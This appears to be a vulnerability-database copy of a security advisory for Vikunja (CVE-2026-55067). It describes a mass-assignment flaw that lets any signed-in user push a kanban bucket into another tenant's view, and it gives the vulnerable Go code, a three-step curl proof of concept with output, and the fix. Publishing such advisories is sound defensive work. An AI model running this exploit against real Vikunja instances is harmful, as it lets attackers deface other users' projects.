GHSA-569V-Q83C-3J3G
Vulnerability from github – Published: 2026-08-28 16:55 – Updated: 2026-08-28 16:55
VLAI
Summary
Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment
Details
Summary
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
Vulnerable code
pkg/models/kanban.go (lines 348-359):
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ?", b.ID).
Cols(
"title",
"limit",
"position",
"project_view_id", // mass-assigned from the request body
).
Update(b)
return
}
Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.
Proof of Concept
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7
Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
# "id": 7,
# "title": "PWNED BUCKET",
# "project_view_id": 4
# }
Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
-H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
# {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
# {"id":1,"title":"To-Do","created_by":"victim"},
# {"id":2,"title":"Doing","created_by":"victim"},
# {"id":3,"title":"Done","created_by":"victim"}
# ]
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.
Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
Fix
In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.
Severity
5.0 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55067"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:55:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body\u0027s `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body\u0027s `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant\u0027s kanban view, with attacker-controlled title and the attacker\u0027s account as `created_by`.\n\nThis vulnerability was found using an LLM, and manually verified against latest (2.3.0).\n\n## Vulnerable code\n\n`pkg/models/kanban.go` (lines 348-359):\n\n```go\nfunc (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {\n _, err = s.\n Where(\"id = ?\", b.ID).\n Cols(\n \"title\",\n \"limit\",\n \"position\",\n \"project_view_id\", // mass-assigned from the request body\n ).\n Update(b)\n return\n}\n```\n\n`Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body\u0027s `project_view_id` reaches `Update` unchecked and is written through.\n\n## Proof of Concept\n\n**Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker\u0027s project is `2`, kanban view `8`; victim\u0027s project is `1`, kanban view `4`.\n\n**Step 1:** Attacker creates a fresh bucket in their own project.\n\n```bash\ncurl -s -X PUT \u0027http://localhost:13456/api/v1/projects/2/views/8/buckets\u0027 \\\n -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"title\":\"PWNED BUCKET\"}\u0027 | jq \u0027.id\u0027\n# Returns: 7\n```\n\n**Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim\u0027s view ID. The URL chain is the attacker\u0027s, so `CanUpdate` passes; the body field is written through without further checks.\n\n```bash\ncurl -s -X POST \u0027http://localhost:13456/api/v1/projects/2/views/8/buckets/7\u0027 \\\n -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"title\":\"PWNED BUCKET\",\"limit\":0,\"project_view_id\":4}\u0027 | jq \u0027{id,title,project_view_id}\u0027\n# Returns: {\n# \"id\": 7,\n# \"title\": \"PWNED BUCKET\",\n# \"project_view_id\": 4\n# }\n```\n\n**Step 3:** Victim lists buckets in their own view; the attacker\u0027s bucket is now there, owned by the attacker.\n\n```bash\ncurl -s \u0027http://localhost:13456/api/v1/projects/1/views/4/buckets\u0027 \\\n -H \u0027Authorization: Bearer \u003cvictim_token\u003e\u0027 | jq \u0027[.[]|{id,title,created_by:.created_by.username}]\u0027\n# Returns: [\n# {\"id\":7,\"title\":\"PWNED BUCKET\",\"created_by\":\"attacker\"},\n# {\"id\":1,\"title\":\"To-Do\",\"created_by\":\"victim\"},\n# {\"id\":2,\"title\":\"Doing\",\"created_by\":\"victim\"},\n# {\"id\":3,\"title\":\"Done\",\"created_by\":\"victim\"}\n# ]\n```\n\nAfter relocation the attacker can no longer reach the row (it lives in the victim\u0027s view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant\u0027s view can be targeted by enumeration.\n\n## Impact\n\nAny signed-in user can inject arbitrary-titled buckets into any other tenant\u0027s kanban view. Most likely exploitation here would be graffiti/defacement.\n\n## Fix\n\nIn `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate \"move bucket between views\" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.",
"id": "GHSA-569v-q83c-3j3g",
"modified": "2026-08-28T16:55:16Z",
"published": "2026-08-28T16:55:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-569v-q83c-3j3g"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3239"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/b31d606b8879ebe98fbb2ac5d8b3066b86f59868"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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